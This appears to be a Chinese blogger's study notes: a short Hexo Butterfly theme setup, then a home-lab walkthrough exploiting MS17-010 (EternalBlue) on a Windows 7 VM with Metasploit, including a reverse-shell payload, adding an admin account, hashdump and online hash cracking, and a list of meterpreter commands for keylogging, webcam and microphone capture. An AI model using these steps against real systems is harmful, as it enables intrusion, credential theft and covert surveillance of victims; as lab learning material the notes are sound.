博客主题的更换

  1. 选择自己喜欢的主题

    主题：butterfly

  2. 将主题加载在博客的themes下

    butterfly

    修改根目录下的_config.yml文件：themes: butterfly

    installation: 1. git clone -b master https://github.com/jerryc127/hexo-theme-butterfly.git themes/butterfly(克隆)

    1. npm i hexo-theme-butterfly
    2. npm install hexo-renderer-pug hexo-renderer-stylus

  3. 主题的渲染

    [Hexo]Hexo搭建Butterfly主题并快速美化_hexo主题_CoolTiger、的博客-CSDN博客

主要的图片

永恒之蓝

  1. 安装虚拟机

  2. 虚拟机wiin7系统

  3. 获取IP地址（Kali：ifconfig \Windows7：IPconfig)

  4. 虚拟机网络配置（桥接模式）

  5. 利用MS17_010漏洞渗透目标主机

    1. msf console

    2. search ms17_010

    3. use 3

    4. set rhosts 192.168.0.32 run (扫描192.168.0.32是否存在漏洞)

    5. search ms17_010

    6. use 0(exploit)

    7. set rhosts 192.168.0.32（设置目标主机）

    8. set lhost 192.168.0.62(虚拟机的IP)

    9. set paload windows/x64/shell/reverse_tcp(攻击荷载)

    10. show options(查看配置)

    11. exploit\run

    12. win表示成功

    13. sysinfo（显示主机系统信息）

    14. chcp 65001(转换编码)

    15. shell

    16. whoami

    17. net user admin admin /add(创建admin账户)

    18. net user

    19. getuid(查看拿到的用户权限)

    20. migrate [PID]（2308 进程迁移获得Adminstrator权限）

    21. upload /img/kali/L.jpg 上传图片

    22. download 路径(下载文件)

    23. run vnc 获取靶机桌面（无法控制靶机桌面）Metasploit利用vnc图形化远程控制工具获得靶机远程控制桌面

    24. run hashdump (利用hashdump获取用户信息和密码)

    25. run windows/gather/smart_hashdump 命令的使用需要系统权限。该功能更强大，如果当前用户是域管理员用户，则可以导出域内所有用户的hash

    26. 利用CMD5md5在线解密破解,md5解密加密 (cmd5.com)

    27. cmd指令:
      cat 读取文件内容到屏幕
      cd 更改目录
      checksum 检索文件的校验和
      cp 将源复制到目标
      del 删除指定文件
      dir 列出文件（ls 的别名）
      下载 下载文件或目录
      编辑 编辑文件
      getlwd 打印本地工作目录
      getwd 打印工作目录
      lcd 更改本地工作目录
      lls 列出本地文件
      lpwd 打印本地工作目录
      ls 列出文件
      mkdir 创建目录
      mv 将源移动到目标
      pwd 打印工作目录
      rm 删除指定文件
      rmdir 删除目录
      search 搜索文件
      show_mount 列出所有挂载点/逻辑驱动器
      upload 上传文件或目录
      pkill 按名称终止进程

      meterpreter命令：
      keyscan_start 开始捕获击键（开始键盘记录）
      keyscan_dump 转储按键缓冲（下载键盘记录）
      keyscan_stop 停止捕获击键（停止键盘记录）
      record_mic X秒从默认的麦克风record_mic音频记录（音频录制）
      webcam_chat 开始视频聊天（视频，对方会有弹窗）
      webcam_list 单摄像头（查看摄像头列表）
      webcam_snap 采取快照从指定的摄像头（摄像头拍摄一张照片）
      webcam_stream 播放视频流从指定的摄像头（开启摄像头监控）
      enumdesktops 列出所有可访问的桌面和窗口站（窗体列表）
      getdesktop 得到当前的Meterpreter桌面
      reboot 重新启动远程计算机
      shutdown 关闭远程计算机
      shell 放入系统命令 shell
      enumdesktops 列出所有可访问的桌面和窗口站
      getdesktop 获取当前的meterpreter桌面
      idletime 返回远程用户空闲的秒数
      keyboard_send 发送击键
      keyevent 发送按键事件
      keyscan_dump 转储击键缓冲区
      keyscan_start 开始捕获击键
      keyscan_stop 停止捕获击键
      mouse 发送鼠标事件
      screenshare 实时观看远程用户桌面
      screenshot 抓取交互式桌面的屏幕截图
      setdesktop 更改 Meterpreters 当前桌面
      uictl 控制一些用户界面组件
      record_mic 从默认麦克风录制音频 X 秒
      webcam_chat 开始视频聊天
      webcam_list 列出网络摄像头
      webcam_snap 从指定的网络摄像头拍摄快照
      webcam_stream 播放来自指定网络摄像头的视频流
      play 在目标系统上播放波形音频文件 (.wav)
      getsystem 尝试将您的权限提升到本地系统的权限
      execute -f notepad 打开记事本

笔记到此就结束啦，感谢看到这里的各位！[^脚注]